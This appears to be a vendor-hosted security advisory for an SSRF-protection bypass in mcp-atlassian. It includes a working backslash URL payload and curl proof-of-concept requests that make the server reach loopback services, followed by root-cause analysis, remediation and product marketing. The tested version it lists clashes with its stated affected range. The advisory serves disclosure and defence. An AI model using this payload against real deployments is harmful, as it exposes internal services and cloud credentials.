Summary
MCP Atlassian: SSRF Protection Bypass
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%[email protected]/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
The local HTTP server also receives the request, confirming SSRF.
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-77274? CVE-2026-77274 is a high-severity server-side request forgery (SSRF) vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of mcp-atlassian are affected by CVE-2026-77274? mcp-atlassian (pip) versions < 0.22.0 is affected.
- Is there a fix for CVE-2026-77274? Yes. CVE-2026-77274 is fixed in 0.22.0. Upgrade to this version or later.
- Is CVE-2026-77274 exploitable, and should I be worried? Whether CVE-2026-77274 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77274 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77274? Upgrade
mcp-atlassianto 0.22.0 or later.